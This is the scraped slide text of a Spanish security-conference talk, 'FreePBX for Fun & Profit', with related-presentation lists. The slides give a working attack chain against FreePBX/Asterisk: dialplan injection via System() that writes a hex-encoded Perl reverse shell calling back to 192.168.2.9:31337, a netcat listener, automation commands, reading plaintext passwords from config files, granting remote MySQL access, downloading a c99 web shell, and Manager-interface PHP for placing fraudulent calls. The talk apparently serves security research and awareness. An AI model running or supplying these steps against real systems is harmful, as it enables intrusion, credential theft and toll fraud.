Usando el módulo PIKE en Elastix MTUsando el módulo PIKE en Elastix MT
Usando el módulo PIKE en Elastix MTPaloSanto Solutions
 
Usando Docker con sistemas Asterisk
Usando Docker con sistemas AsteriskUsando Docker con sistemas Asterisk
Usando Docker con sistemas AsteriskElio Rojano
 
Seguridad en Asterisk: Un acercamiento detallado
Seguridad en Asterisk: Un acercamiento detalladoSeguridad en Asterisk: Un acercamiento detallado
Seguridad en Asterisk: Un acercamiento detalladoPaloSanto Solutions
 
6sos instalacion ipv6_windows_v4_0
6sos instalacion ipv6_windows_v4_06sos instalacion ipv6_windows_v4_0
6sos instalacion ipv6_windows_v4_0Victor Garcia Vara
 
Firewall Casero con gnu/linux (Ubuntu Server 14.04)
Firewall Casero con gnu/linux (Ubuntu Server 14.04)Firewall Casero con gnu/linux (Ubuntu Server 14.04)
Firewall Casero con gnu/linux (Ubuntu Server 14.04)Remigio Salvador Sánchez
 
Squid proxy transparente en ubuntu
Squid proxy transparente en ubuntuSquid proxy transparente en ubuntu
Squid proxy transparente en ubuntuAlvaro López
 
Comandos básicos para utilizar squid o squid3
Comandos básicos para utilizar squid o squid3Comandos básicos para utilizar squid o squid3
Comandos básicos para utilizar squid o squid3ALBERTO CHUICA
 
Qué hace tu Asterisk cuando no miras
Qué hace tu Asterisk cuando no mirasQué hace tu Asterisk cuando no miras
Qué hace tu Asterisk cuando no mirasElio Rojano
 
Tecnicas avanzadas de penetracion a sistemas
Tecnicas avanzadas de penetracion a sistemasTecnicas avanzadas de penetracion a sistemas
Tecnicas avanzadas de penetracion a sistemasRafael Seg
 
Penetración con una Backdoor
Penetración con una BackdoorPenetración con una Backdoor
Penetración con una BackdoorNEGOCIOS PROPIOS
 

La actualidad más candente (20)

Usando el módulo PIKE en Elastix MT
Usando el módulo PIKE en Elastix MTUsando el módulo PIKE en Elastix MT
Usando el módulo PIKE en Elastix MT
 
Planes de llamada
Planes de llamadaPlanes de llamada
Planes de llamada
 
Lo que será windows 8
Lo que será windows 8Lo que será windows 8
Lo que será windows 8
 
Windows server 2008 core
Windows server 2008 coreWindows server 2008 core
Windows server 2008 core
 
Los mejores trucos de Asterisk
Los mejores trucos de AsteriskLos mejores trucos de Asterisk
Los mejores trucos de Asterisk
 
Asterisk seminario web
Asterisk seminario webAsterisk seminario web
Asterisk seminario web
 
Usando Docker con sistemas Asterisk
Usando Docker con sistemas AsteriskUsando Docker con sistemas Asterisk
Usando Docker con sistemas Asterisk
 
06.asterisk administracion
06.asterisk administracion06.asterisk administracion
06.asterisk administracion
 
Xen - Taller practico
Xen - Taller practicoXen - Taller practico
Xen - Taller practico
 
Seguridad en Asterisk: Un acercamiento detallado
Seguridad en Asterisk: Un acercamiento detalladoSeguridad en Asterisk: Un acercamiento detallado
Seguridad en Asterisk: Un acercamiento detallado
 
6sos instalacion ipv6_windows_v4_0
6sos instalacion ipv6_windows_v4_06sos instalacion ipv6_windows_v4_0
6sos instalacion ipv6_windows_v4_0
 
Firewall Casero con gnu/linux (Ubuntu Server 14.04)
Firewall Casero con gnu/linux (Ubuntu Server 14.04)Firewall Casero con gnu/linux (Ubuntu Server 14.04)
Firewall Casero con gnu/linux (Ubuntu Server 14.04)
 
05 airc dns
05 airc   dns05 airc   dns
05 airc dns
 
Squid proxy transparente en ubuntu
Squid proxy transparente en ubuntuSquid proxy transparente en ubuntu
Squid proxy transparente en ubuntu
 
Comandos básicos para utilizar squid o squid3
Comandos básicos para utilizar squid o squid3Comandos básicos para utilizar squid o squid3
Comandos básicos para utilizar squid o squid3
 
Qué hace tu Asterisk cuando no miras
Qué hace tu Asterisk cuando no mirasQué hace tu Asterisk cuando no miras
Qué hace tu Asterisk cuando no miras
 
Tecnicas avanzadas de penetracion a sistemas
Tecnicas avanzadas de penetracion a sistemasTecnicas avanzadas de penetracion a sistemas
Tecnicas avanzadas de penetracion a sistemas
 
Comandos Basicos en Consola GNU Linux
Comandos Basicos en Consola GNU LinuxComandos Basicos en Consola GNU Linux
Comandos Basicos en Consola GNU Linux
 
Penetración con una Backdoor
Penetración con una BackdoorPenetración con una Backdoor
Penetración con una Backdoor
 
Seguridades de redes
Seguridades de redesSeguridades de redes
Seguridades de redes
 

Destacado

Online travel deal,sasv
Online travel deal,sasvOnline travel deal,sasv
Online travel deal,sasvVishnu Singh
 
Tips to get the most out of OpenERP
Tips to get the most out of OpenERPTips to get the most out of OpenERP
Tips to get the most out of OpenERPAudaxis
 
Professional Development & Vendor Fair
Professional Development & Vendor FairProfessional Development & Vendor Fair
Professional Development & Vendor Fairhdicapitalarea
 
Las tendencias de la postgraduarizacion en America Latina
Las tendencias de la postgraduarizacion en America LatinaLas tendencias de la postgraduarizacion en America Latina
Las tendencias de la postgraduarizacion en America LatinaClaudio Rama
 
WoooMe - Die neue Personalmarketing-Plattform für Absolventen und Studenten
WoooMe - Die neue Personalmarketing-Plattform für Absolventen und StudentenWoooMe - Die neue Personalmarketing-Plattform für Absolventen und Studenten
WoooMe - Die neue Personalmarketing-Plattform für Absolventen und StudentenHannes Maier
 
Uso del hangout como herramienta y el plagio en internet
Uso del hangout como herramienta y el plagio en internetUso del hangout como herramienta y el plagio en internet
Uso del hangout como herramienta y el plagio en internetMarcos Guanipa
 
Submarine Escape at an Angle
Submarine Escape at an AngleSubmarine Escape at an Angle
Submarine Escape at an AngleQinetiQ Australia
 
Robust vibration control at critical resonant modes using indirect-driven sel...
Robust vibration control at critical resonant modes using indirect-driven sel...Robust vibration control at critical resonant modes using indirect-driven sel...
Robust vibration control at critical resonant modes using indirect-driven sel...ISA Interchange
 
Fenomeni Kuranor
Fenomeni KuranorFenomeni Kuranor
Fenomeni Kuranorguest41e4e
 
A context-aware model for QoE analysis in mobile environments
A context-aware model for QoE analysis in mobile environmentsA context-aware model for QoE analysis in mobile environments
A context-aware model for QoE analysis in mobile environmentsPedro Luis Mateo Navarro
 
Registro de la Agricultura Familiar – Experiencia INDAP – Chile
Registro de la Agricultura Familiar – Experiencia INDAP – Chile   Registro de la Agricultura Familiar – Experiencia INDAP – Chile
Registro de la Agricultura Familiar – Experiencia INDAP – Chile FAO
 

Destacado (20)

Por que debes estudiar un mba online
Por que debes estudiar un mba onlinePor que debes estudiar un mba online
Por que debes estudiar un mba online
 
Reanimador - Product sheet
Reanimador - Product sheet Reanimador - Product sheet
Reanimador - Product sheet
 
Online travel deal,sasv
Online travel deal,sasvOnline travel deal,sasv
Online travel deal,sasv
 
Unico ppt2
Unico ppt2Unico ppt2
Unico ppt2
 
Tips to get the most out of OpenERP
Tips to get the most out of OpenERPTips to get the most out of OpenERP
Tips to get the most out of OpenERP
 
Iyadoc4712010
Iyadoc4712010Iyadoc4712010
Iyadoc4712010
 
Tema 2. recursos cartográficos.
Tema 2. recursos cartográficos.Tema 2. recursos cartográficos.
Tema 2. recursos cartográficos.
 
Professional Development & Vendor Fair
Professional Development & Vendor FairProfessional Development & Vendor Fair
Professional Development & Vendor Fair
 
Apuntes comparador optico
Apuntes comparador opticoApuntes comparador optico
Apuntes comparador optico
 
Las tendencias de la postgraduarizacion en America Latina
Las tendencias de la postgraduarizacion en America LatinaLas tendencias de la postgraduarizacion en America Latina
Las tendencias de la postgraduarizacion en America Latina
 
20 11 vida con el_lama www.gftaognosticaespiritual.org
20 11 vida con el_lama www.gftaognosticaespiritual.org20 11 vida con el_lama www.gftaognosticaespiritual.org
20 11 vida con el_lama www.gftaognosticaespiritual.org
 
WoooMe - Die neue Personalmarketing-Plattform für Absolventen und Studenten
WoooMe - Die neue Personalmarketing-Plattform für Absolventen und StudentenWoooMe - Die neue Personalmarketing-Plattform für Absolventen und Studenten
WoooMe - Die neue Personalmarketing-Plattform für Absolventen und Studenten
 
Praxis Yearbook 2011-13
Praxis Yearbook 2011-13Praxis Yearbook 2011-13
Praxis Yearbook 2011-13
 
Revista ANEM-HI - Año 2011- Nº12
Revista ANEM-HI - Año 2011- Nº12Revista ANEM-HI - Año 2011- Nº12
Revista ANEM-HI - Año 2011- Nº12
 
Uso del hangout como herramienta y el plagio en internet
Uso del hangout como herramienta y el plagio en internetUso del hangout como herramienta y el plagio en internet
Uso del hangout como herramienta y el plagio en internet
 
Submarine Escape at an Angle
Submarine Escape at an AngleSubmarine Escape at an Angle
Submarine Escape at an Angle
 
Robust vibration control at critical resonant modes using indirect-driven sel...
Robust vibration control at critical resonant modes using indirect-driven sel...Robust vibration control at critical resonant modes using indirect-driven sel...
Robust vibration control at critical resonant modes using indirect-driven sel...
 
Fenomeni Kuranor
Fenomeni KuranorFenomeni Kuranor
Fenomeni Kuranor
 
A context-aware model for QoE analysis in mobile environments
A context-aware model for QoE analysis in mobile environmentsA context-aware model for QoE analysis in mobile environments
A context-aware model for QoE analysis in mobile environments
 
Registro de la Agricultura Familiar – Experiencia INDAP – Chile
Registro de la Agricultura Familiar – Experiencia INDAP – Chile   Registro de la Agricultura Familiar – Experiencia INDAP – Chile
Registro de la Agricultura Familiar – Experiencia INDAP – Chile
 

Similar a 2013 03 - rooted - free pbx-for fun and profit

Tutorial asterisk
Tutorial asteriskTutorial asterisk
Tutorial asteriskmanolinxxx
 
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry PiServicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry PiTelefónica
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversMartin Baez
 
VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010Gabriel Astudillo
 
Trabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensivaTrabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensivaarbeycardona2
 
Manual de operación Asterisk en windows
Manual de operación Asterisk en windowsManual de operación Asterisk en windows
Manual de operación Asterisk en windowsPaulo Cortés Molina
 
Sistemas de VoIP con Asterisk
Sistemas de VoIP con AsteriskSistemas de VoIP con Asterisk
Sistemas de VoIP con AsteriskGabriel Astudillo
 
Solucion ejercicios tema 6. telnet
Solucion ejercicios tema 6.  telnetSolucion ejercicios tema 6.  telnet
Solucion ejercicios tema 6. telneteinhasad
 
Virtualizacion Con Xen En Open Solaris
Virtualizacion Con Xen En Open SolarisVirtualizacion Con Xen En Open Solaris
Virtualizacion Con Xen En Open SolarisToni de la Fuente
 
Curso Practico Cardsharing Lecc3
Curso Practico Cardsharing Lecc3Curso Practico Cardsharing Lecc3
Curso Practico Cardsharing Lecc3ZonaTV
 
97132962-instalacion-de-open meetings-en-squeeze
 97132962-instalacion-de-open meetings-en-squeeze 97132962-instalacion-de-open meetings-en-squeeze
97132962-instalacion-de-open meetings-en-squeezexavazquez
 
Interesante 150297979 vulnerabilidades-maquinas-vulnerable-busy-tone
Interesante 150297979 vulnerabilidades-maquinas-vulnerable-busy-toneInteresante 150297979 vulnerabilidades-maquinas-vulnerable-busy-tone
Interesante 150297979 vulnerabilidades-maquinas-vulnerable-busy-tonexavazquez
 
Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2Telefónica
 
Instalación KOHA: desarrollo, requerimientos y configuración
Instalación KOHA: desarrollo, requerimientos y configuraciónInstalación KOHA: desarrollo, requerimientos y configuración
Instalación KOHA: desarrollo, requerimientos y configuraciónSocialBiblio
 

Similar a 2013 03 - rooted - free pbx-for fun and profit (20)

Tutorial asterisk
Tutorial asteriskTutorial asterisk
Tutorial asterisk
 
voz ip
voz ipvoz ip
voz ip
 
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry PiServicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
 
04.trixbox
04.trixbox04.trixbox
04.trixbox
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - Drivers
 
VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010
 
Trabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensivaTrabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensiva
 
Present3
Present3Present3
Present3
 
Manual de operación Asterisk en windows
Manual de operación Asterisk en windowsManual de operación Asterisk en windows
Manual de operación Asterisk en windows
 
Sistemas de VoIP con Asterisk
Sistemas de VoIP con AsteriskSistemas de VoIP con Asterisk
Sistemas de VoIP con Asterisk
 
Solucion ejercicios tema 6. telnet
Solucion ejercicios tema 6.  telnetSolucion ejercicios tema 6.  telnet
Solucion ejercicios tema 6. telnet
 
Virtualizacion Con Xen En Open Solaris
Virtualizacion Con Xen En Open SolarisVirtualizacion Con Xen En Open Solaris
Virtualizacion Con Xen En Open Solaris
 
Curso Practico Cardsharing Lecc3
Curso Practico Cardsharing Lecc3Curso Practico Cardsharing Lecc3
Curso Practico Cardsharing Lecc3
 
Manual Bàsic PS Tools
Manual Bàsic PS ToolsManual Bàsic PS Tools
Manual Bàsic PS Tools
 
97132962-instalacion-de-open meetings-en-squeeze
 97132962-instalacion-de-open meetings-en-squeeze 97132962-instalacion-de-open meetings-en-squeeze
97132962-instalacion-de-open meetings-en-squeeze
 
Interesante 150297979 vulnerabilidades-maquinas-vulnerable-busy-tone
Interesante 150297979 vulnerabilidades-maquinas-vulnerable-busy-toneInteresante 150297979 vulnerabilidades-maquinas-vulnerable-busy-tone
Interesante 150297979 vulnerabilidades-maquinas-vulnerable-busy-tone
 
Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2
 
Curso linux clase_2_2012
Curso linux clase_2_2012Curso linux clase_2_2012
Curso linux clase_2_2012
 
Instalación KOHA: desarrollo, requerimientos y configuración
Instalación KOHA: desarrollo, requerimientos y configuraciónInstalación KOHA: desarrollo, requerimientos y configuración
Instalación KOHA: desarrollo, requerimientos y configuración
 
Apuntes SO examen.pdf
Apuntes SO examen.pdfApuntes SO examen.pdf
Apuntes SO examen.pdf
 

2013 03 - rooted - free pbx-for fun and profit

  • 1. FreePBX for Fun & Profit Jose Luis Verdeguer (aka Pepelux) Pepelux @pepeluxx pepeluxx@gmail.com verdeguer@zoonsuite.com http://blog.pepelux.org http://www.zoonsuite.es
  • 2. ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? FreePBX es una distribución basada en Asterisk. Asterisk es un software libre que realiza funciones de centralita telefónica (el objetivo para una empresa es sustituir a la centralita convencional).
  • 3. ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? Frente a una centralita convencional, un sistema de VoIP: Es más económico (gratis – sólo requiere un equipo no muy potente). Es mucho más flexible (extensiones ilimitadas, plan de llamadas, etc). Podemos realizar el mantenimiento nosotros mismos. El único “problema” es que requiere unos mínimos conocimientos de seguridad … o puede salirnos muy caro.
  • 4.
  • 5.
  • 6. Características: - Fail2ban que bloquea ataques de fuerza bruta (SSH, HTTP, SIP). - MySQL sin usuarios accesibles desde el exterior. - Obliga a usar contraseñas robustas para las cuentas de la centralita. - Administración por HTTP en claro – FAIL! - La sesión del panel nunca caduca – FAIL! Aparentemente robusto desde el exterior pero … … una vez dentro la seguridad es muy deficiente
  • 7.
  • 8. Supongamos que tenemos acceso a un panel de control de una FreePBX.
  • 9. Supongamos que tenemos acceso a un panel de control de una FreePBX. ¿ Es mucho suponer ?
  • 10.
  • 11.
  • 12.
  • 13. Buscando servidores FreePBX con SIPvicious: Última versión estable: 2.10.1 ////////////////// Fecha escaneo: Febrero/2013 Máquinas vulnerables (<=2.10.0): 22/30 (73%) Web accesible desde Internet: 17/30 (56%)
  • 14. Como decía antes ... Supongamos que tenemos acceso a un panel de control de una FreePBX.
  • 15. Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crear una extensión para hacer llamadas gratis … hasta que nos pillen.
  • 16. Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crear una extensión para hacer llamadas gratis … hasta que nos pillen. También podemos ejecutar comandos de Asterisk desde el CLI … aunque no permite ejecutar comandos del sistema (como ocurre desde la consola, usando '!').
  • 17. Podemos ver la versión de Asterisk con 'core show version'. O ver las llamadas activas con 'core show channels'.
  • 18.
  • 19.
  • 20. Comando System de Asterisk.
  • 21. Nuestro objetivo: Ejecutar comandos del sistema a través de llamadas telefónicas. Para ello: Vamos a crear una extensión nueva que, tras llamar, ejecute un System(). exten => XXX,1,Answer() exten => XXX,2,System('nuestro comando') exten => XXX,3,Hangup()
  • 22. El problema es que FreePBX está muy limitado a la hora de definir lo que hace una extensión, ya que se basa en lo permitido a través de la web, gestionado con unos simples formularios.
  • 23. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos permita interactuar con el sistema:
  • 24. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos permita interactuar con el sistema: Recordemos:
  • 25. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos permita interactuar con el sistema: Recordemos:
  • 26. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos permita interactuar con el sistema: Sería algo así: Formato: dialplan add extension extensión, prioridad, comando, [dato] into contexto Ejemplo: dialplan add extension 999,1,Answer, into ext-local dialplan add extension 999,2,System,comando_del_sistema into ext-local dialplan add extension 999,3,Hangup, into ext-local
  • 27. Intentaremos inyectar una shell que se guarde en un fichero, usando el comando System de Asterisk: Trataremos de usar el comando System para crear en el sistema el siguiente script en Perl y almacenarlo en algún lugar del servidor: use Socket; socket (S, PF_INET, SOCK_STREAM, getprotobyname("tcp")); if (connect (S, sockaddr_in(31337, inet_aton("192.168.2.9")))) { open (STDIN, ">&S"); open (STDOUT, ">&S"); open (STDERR, ">&S"); exec ("/bin/bash -i"); }
  • 28. Las líneas a inyectar, a través del CLI, quedarían de la siguiente forma: dialplan add extension 999,1,answer, into ext-local dialplan add extension 999,2,system,"echo -e 'use Socket;' > /tmp/s.pl" into ext-local dialplan add extension 999,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' >> /tmp/s.pl" into ext-local dialplan add extension 999,4,system,"echo -e 'if(connect(S,sockaddr_in(31337,' >> /tmp/s.pl" into ext-local dialplan add extension 999,5,system,"echo -e 'inet_aton("192.168.2.9")))){' >> /tmp/s.pl" into ext-local dialplan add extension 999,6,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local dialplan add extension 999,7,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local dialplan add extension 999,8,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local dialplan add extension 999,9,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local dialplan add extension 999,10,hangup, into ext-local
  • 29. El problema es que a través de la web no podemos introducir ciertos caracteres, por lo que hay que codificar la entrada: 75 73 65 20 53 6f 63 6b 65 74 3b 0d 0a 73 6f 63 6b 65 74 28 53 2c 50 46 5f 49 4e 45 54 2c 53 4f 43 4b 5f 53 54 52 45 41 4d 2c 67 65 74 70 72 6f 74 6f 62 79 6e 61 6d 65 28 22 74 63 70 22 29 29 3b 0d 0a 69 66 28 63 6f 6e 6e 65 63 74 28 53 2c 73 6f 63 6b 61 64 64 72 5f 69 6e 28 33 31 33 33 37 2c 69 6e 65 74 5f 61 74 6f 6e 28 22 31 39 32 2e 31 36 38 2e 32 2e 39 22 29 29 29 29 7b 0d 0a 6f 70 65 6e 28 53 54 44 49 4e 2c 22 3e 26 53 22 29 3b 0d 0a 6f 70 65 6e 28 53 54 44 4f 55 54 2c 22 3e 26 53 22 29 3b 0d 0a 6f 70 65 6e 28 53 54 44 45 52 52 2c 22 3e 26 53 22 29 3b 0d 0a 65 78 65 63 28 22 2f 62 69 6e 2f 62 61 73 68 20 2d 69 22 29 3b 7d 0d 0a
  • 30. Quedando finalmente: dialplan add extension 999,1,answer, into ext-local dialplan add extension 999,2,system,"echo -e 'x75x73x65x20x53x6fx63x6bx65x74x3bx0dx0a' > /tmp/s.pl" into ext-local dialplan add extension 999,3,system,"echo -e 'x73x6fx63x6bx65x74x28x53x2cx50x46x5fx49x4ex45x54x2cx53x4fx43 x4bx5fx53x54x52x45x41x4dx2cx67x65x74x70x72x6fx74x6fx62x79x6e x61x6dx65x28x22x74x63x70x22x29x29x3bx0dx0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,4,system,"echo -e 'x69x66x28x63x6fx6ex6ex65x63x74x28x53x2cx73x6fx63x6bx61x64x64 x72x5fx69x6ex28x33x31x33x33x37x2c' >> /tmp/s.pl" into ext-local dialplan add extension 999,5,system,"echo -e 'x69x6ex65x74x5fx61x74x6fx6ex28x22x31x39x32x2ex31x36x38x2ex32 x2ex39x22x29x29x29x29x7bx0dx0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,6,system,"echo -e 'x6fx70x65x6ex28x53x54x44x49x4ex2cx22x3ex26x53x22x29x3bx0dx0a ' >> /tmp/s.pl" into ext-local dialplan add extension 999,7,system,"echo -e 'x6fx70x65x6ex28x53x54x44x4fx55x54x2cx22x3ex26x53x22x29x3bx0d x0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,8,system,"echo -e 'x6fx70x65x6ex28x53x54x44x45x52x52x2cx22x3ex26x53x22x29x3bx0d x0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,9,system,"echo -e 'x65x78x65x63x28x22x2fx62x69x6ex2fx73x68x20x2dx69x22x29x3bx7d x0dx0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,10,hangup, into ext-local
  • 31. Una vez realizada la inyección de la nueva extensión en el dialplan, como tenemos acceso al panel, nos creamos una cuenta para poder realizar llamadas. Configuramos un softphone con esa cuenta. Llamamos por teléfono a la extensión 999 para ejecutar el plan de llamadas y crear nuestro script.
  • 32. Una vez realizada la inyección de la nueva extensión en el dialplan, como tenemos acceso al panel, nos creamos una cuenta para poder realizar llamadas. Configuramos un softphone con esa cuenta. Llamamos por teléfono a la extensión 999 para ejecutar el plan de llamadas y crear nuestro script. Tras la llamada, tendremos el script en el sistema (almacenado como /tmp/s.pl).
  • 33. Ahora creamos otro plan de llamadas para ejecutarlo: - Recargamos el dialplan para borrar la extensión 999: dialplan reload - Volvemos a crear la extensión: dialplan add extension 999,1,Answer, into ext-local dialplan add extension 999,2,System,"perl /tmp/s.pl" into ext-local dialplan add extension 999,3,Hangup, into ext-local
  • 34. Dejamos una terminal a la escucha con Netcat en nuestro equipo: pepelux@debian$ nc -l -p 31337 Llamamos por teléfono a la extensión 999 para ejecutar nuestro script.
  • 36. Automatizando el proceso (script 1) Pasos a seguir: 1 - Creamos un plan de llamadas para crear el script con la shell: pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -cs -ip 192.168.2.9 2 – Llamamos por teléfono para ejecutarlo. 3 - Creamos un plan de llamadas para ejecutar el script: pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -es 4 – Ponemos una terminal a la escucha con Netcat: pepelux@debian$ nc -l -p 31337 5 – Llamamos por teléfono para ejecutarlo.
  • 38. Automatizando el proceso (script 2) Pasos a seguir: 1 – Ponemos un terminal a la escucha con Netcat: pepelux@debian$ nc -l -p 31337 2 – Lanzamos el script: pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -auto -call -user 206 -pass 123456asd
  • 39. ¡¡ Veamos un caso práctico !! DEMO (con la última versión de FreePBX: 2.210.62 – del 24/01/2013)
  • 40. ¿Quiénes somos y dónde estamos? sh-4.1$ whoami asterisk sh-4.1$ id uid=498(asterisk) gid=498(asterisk) groups=498(asterisk) sh-4.1$ uname -a; cat /etc/issue /proc/version uname -a; cat /etc/issue /proc/version Linux localhost.localdomain 2.6.32-220.13.1.el6.i686 #1 SMP Tue Apr 17 22:09:08 BST 2012 i686 i686 i386 GNU/Linux CentOS release 6.2 (Final) Kernel r on an m Linux version 2.6.32-220.13.1.el6.i686 (mockbuild@c6b6.bsys.dev.centos.org) (gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC) ) #1 SMP Tue Apr 17 22:09:08 BST 2012
  • 42.
  • 43. Algunos comandos: sh-4.1$ mysql -D mysql -u root -e "show databases" sh-4.1$ mysql -D mysql -u root -e "show tables" sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
  • 44. Algunos comandos: ¿ Veis algo extraño ? sh-4.1$ mysql -D mysql -u root -e "show databases" sh-4.1$ mysql -D mysql -u root -e "show tables" sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
  • 45. Algunos comandos: ¿ Veis algo extraño ? sh-4.1$ mysql -D mysql -u root -e "show databases" sh-4.1$ mysql -D mysql -u root -e "show tables" sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user" El usuario root NO tiene contraseña!!
  • 46. Podemos darnos acceso desde el exterior: sh-4.1$ mysql -D mysql -u root -e "grant select,insert,drop on asterisk.* to 'pepelux'@'192.168.2.9' identified by 'mipass123';" -p Y acceder desde nuestra máquina: pepelux@debian$ mysql -h 192.168.2.20 -u pepelux -p Enter password: Welcome to the MySQL monitor. Commands end with ; or g. Your MySQL connection id is 184 Server version: 5.1.61 Source distribution ….. Type 'help;' or 'h' for help. Type 'c' to clear the current input statement. mysql>
  • 47. ¿Y si el administrador ha puesto una contraseña a la cuenta de root?
  • 48. ¿Y si el administrador ha puesto una contraseña a la cuenta de root? En el fichero /etc/freepbx.conf (propiedad del usuario asterisk) tenemos la contraseña de freepbxuser, en claro! sh-4.1$ cat /etc/freepbx.conf <?php $amp_conf['AMPDBUSER'] = 'freepbxuser'; $amp_conf['AMPDBPASS'] = 'zy3upb0mHK9U'; $amp_conf['AMPDBHOST'] = 'localhost'; $amp_conf['AMPDBNAME'] = 'asterisk'; $amp_conf['AMPDBENGINE'] = 'mysql'; ...
  • 49. sh-4.1$ mysql -D asterisk -u freepbxuser -e "show tables" -p Enter password:
  • 50.
  • 51. Echemos un ojo a la web: sh-4.1$ ls /var/www/html/admin -la
  • 52. Echemos un ojo a la web: sh-4.1$ ls /var/www/html/admin -la ¿ Veis algo extraño ?
  • 53. Echemos un ojo a la web: sh-4.1$ ls /var/www/html/admin -la ¿ Veis algo extraño ? Soy el propietario de la web!!
  • 54. ¿Qué tal si subimos una shell? sh-4.1$ cd /var/www/html sh-4.1$ wget 192.168.2.9/freepbx/c99.txt sh-4.1$ mv c99.txt c99.php
  • 55. ¿Qué tal si subimos una shell? sh-4.1$ cd /var/www/html sh-4.1$ wget 192.168.2.9/freepbx/c99.txt sh-4.1$ mv c99.txt c99.php
  • 56. ¿O si hacemos un ataque David Hasselhoff?
  • 57.
  • 58. Es posible que hayamos accedido al sistema a través de un bug y no conozcamos la contraseña del administrador … si lo actualizan, perderemos el acceso …
  • 59. Es posible que hayamos accedido al sistema a través de un bug y no conozcamos la contraseña del administrador … si lo actualizan, perderemos el acceso … Además, la contraseña en la BBDD no está en claro ... sh-4.1$ mysql -u root -D asterisk -e "select username, password_sha1 from ampusers"
  • 60. ¡¡¡ no hay problema !!! … en /etc/amportal.conf (propiedad del usuario asterisk) está toda la configuración de FreePBX. sh-4.1$ cat /etc/amportal.conf | grep PASS AMPMGRPASS=amp111 CDRDBPASS= ARI_ADMIN_PASSWORD=web01 AMPDBPASS=zy3upb0mHK9U
  • 61. ¡¡¡ no hay problema !!! … en /etc/amportal.conf (propiedad del usuario asterisk) está toda la configuración de FreePBX. sh-4.1$ cat /etc/amportal.conf | grep PASS AMPMGRPASS=amp111 CDRDBPASS= ARI_ADMIN_PASSWORD=web01 ← Contraseña en claro del administrador AMPDBPASS=zy3upb0mHK9U
  • 62. Veamos los ficheros de configuración ... sh-4.1$ ls -la /etc/asterisk
  • 63. Veamos los ficheros de configuración ... sh-4.1$ ls -la /etc/asterisk ¿ Veis algo extraño ?
  • 64. Veamos los ficheros de configuración ... sh-4.1$ ls -la /etc/asterisk ¿ Veis algo extraño ? Soy el propietario de Asterisk!!
  • 65. ¿Qué tal si usamos el servicio Manager, que por defecto viene activo? sh-4.1$ cat /etc/asterisk/manager.conf [general] enabled = yes port = 5038 bindaddr = 0.0.0.0 displayconnects=no ;only effects 1.6+ [admin] secret = amp111 deny=0.0.0.0/0.0.0.0 permit=127.0.0.1/255.255.255.0 read = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate write = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
  • 66. Ya que tenemos el control de la web, nos creamos una página “atractiva” en algún lugar oculto ...
  • 67. Y la conectamos con el servicio Manager de la FreePBX ... $sc = fsockopen(“localhost”, 5038, $errnum, $errdesc) or die(“Connection failed”); fputs($sc, “Action: loginrn”); fputs($sc, “Events: offrn”); fputs($sc, “Username: adminrn”); fputs($sc, “Secret: amp111rnrn”); fputs($sc, “Action: originatern”); fputs($sc, “Channel: LOCAL/$MI_TELEFONO@ext-localrn”); fputs($sc, “WaitTime: 30rn”); fputs($sc, “Exten: $TFNO_DE_MI_AMIGOrn”); fputs($sc, “Context: ext-localrn”); fputs($sc, “Priority: 1rnrn”); fputs($sc, “Action: logoffrnrn”); sleep(3); fclose($sc);
  • 68.
